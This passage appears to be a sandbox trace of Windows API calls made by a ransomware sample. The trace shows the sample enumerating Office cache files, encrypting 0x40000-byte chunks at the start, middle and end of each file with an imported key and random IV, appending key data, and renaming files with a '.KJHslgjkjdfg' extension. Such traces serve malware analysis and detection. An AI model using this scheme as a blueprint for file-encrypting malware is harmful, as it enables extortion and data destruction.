hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0157.628] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0157.628] GetProcessHeap () returned 0x990000 [0157.628] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2aa) returned 0x9dc8a8 [0157.628] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.629] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x29df280 | out: lpFileSize=0x29df280*=2517504) returned 1 [0157.630] GetProcessHeap () returned 0x990000 [0157.630] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.630] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.630] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.630] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0157.630] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.630] GetProcessHeap () returned 0x990000 [0157.630] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0157.630] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df250*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df250*=0x40) returned 1 [0157.630] CryptDestroyKey (hKey=0x9b6628) returned 1 [0157.630] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df26c*=0x40, lpOverlapped=0x0) returned 1 [0157.639] WriteFile (in: hFile=0xf0, lpBuffer=0x29df274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df274*, lpNumberOfBytesWritten=0x29df26c*=0x4, lpOverlapped=0x0) returned 1 [0157.639] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df26c*=0x10, lpOverlapped=0x0) returned 1 [0157.639] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df26c*=0x80, lpOverlapped=0x0) returned 1 [0157.639] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0157.639] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df26c*=0x8, lpOverlapped=0x0) returned 1 [0157.640] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0157.640] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.640] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0157.640] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0157.644] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0157.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.650] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0157.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.651] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0157.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0157.651] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0157.661] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0157.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.665] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0157.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.667] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0157.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0157.667] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0157.710] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0157.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.713] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0157.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.714] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0157.714] CryptDestroyKey (hKey=0x9b6628) returned 1 [0157.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.714] SetEndOfFile (hFile=0xf0) returned 1 [0157.717] GetProcessHeap () returned 0x990000 [0157.717] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0157.717] GetProcessHeap () returned 0x990000 [0157.717] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0157.717] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.kjhslgjkjdfg")) returned 1 [0157.718] CloseHandle (hObject=0xf0) returned 1 [0157.784] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0157.784] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.786] GetProcessHeap () returned 0x990000 [0157.786] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.786] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0157.786] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0157.792] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0157.792] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.792] GetProcessHeap () returned 0x990000 [0157.792] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0157.792] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0157.792] CryptDestroyKey (hKey=0x9b6628) returned 1 [0157.792] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0157.792] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0157.792] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0157.792] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0157.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0157.792] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0157.792] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0157.793] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.793] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x545, lpOverlapped=0x0) returned 1 [0157.793] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x550, dwBufLen=0x550 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x550) returned 1 [0157.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.793] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x550, lpOverlapped=0x0) returned 1 [0157.793] CryptDestroyKey (hKey=0x9b6628) returned 1 [0157.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.793] SetEndOfFile (hFile=0xf0) returned 1 [0157.796] GetProcessHeap () returned 0x990000 [0157.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0157.796] GetProcessHeap () returned 0x990000 [0157.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0157.796] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.kjhslgjkjdfg")) returned 1 [0157.800] CloseHandle (hObject=0xf0) returned 1 [0157.800] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0157.800] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.801] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x29df280 | out: lpFileSize=0x29df280*=28016276) returned 1 [0157.801] GetProcessHeap () returned 0x990000 [0157.801] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.801] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.801] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df26c*=0xc, lpOverlapped=0x0) returned 1 [0157.804] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0157.804] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.804] GetProcessHeap () returned 0x990000 [0157.804] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0157.804] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df250*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df250*=0x30) returned 1 [0157.804] CryptDestroyKey (hKey=0x9b6628) returned 1 [0157.804] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df26c*=0x30, lpOverlapped=0x0) returned 1 [0157.805] WriteFile (in: hFile=0xf0, lpBuffer=0x29df274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df274*, lpNumberOfBytesWritten=0x29df26c*=0x4, lpOverlapped=0x0) returned 1 [0157.805] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df26c*=0x10, lpOverlapped=0x0) returned 1 [0157.805] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df26c*=0x80, lpOverlapped=0x0) returned 1 [0157.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0157.805] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df26c*=0x8, lpOverlapped=0x0) returned 1 [0157.805] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0157.805] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0157.805] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0157.814] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0157.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.820] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0157.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.821] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0157.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0157.821] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0157.893] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0157.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.897] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0157.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.897] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0157.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a77ea0, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0157.897] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0157.963] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0157.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a77ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.966] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0157.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.967] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0157.967] CryptDestroyKey (hKey=0x9b6628) returned 1 [0157.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ab7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.968] SetEndOfFile (hFile=0xf0) returned 1 [0157.987] GetProcessHeap () returned 0x990000 [0157.987] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0157.987] GetProcessHeap () returned 0x990000 [0157.987] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0157.987] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all 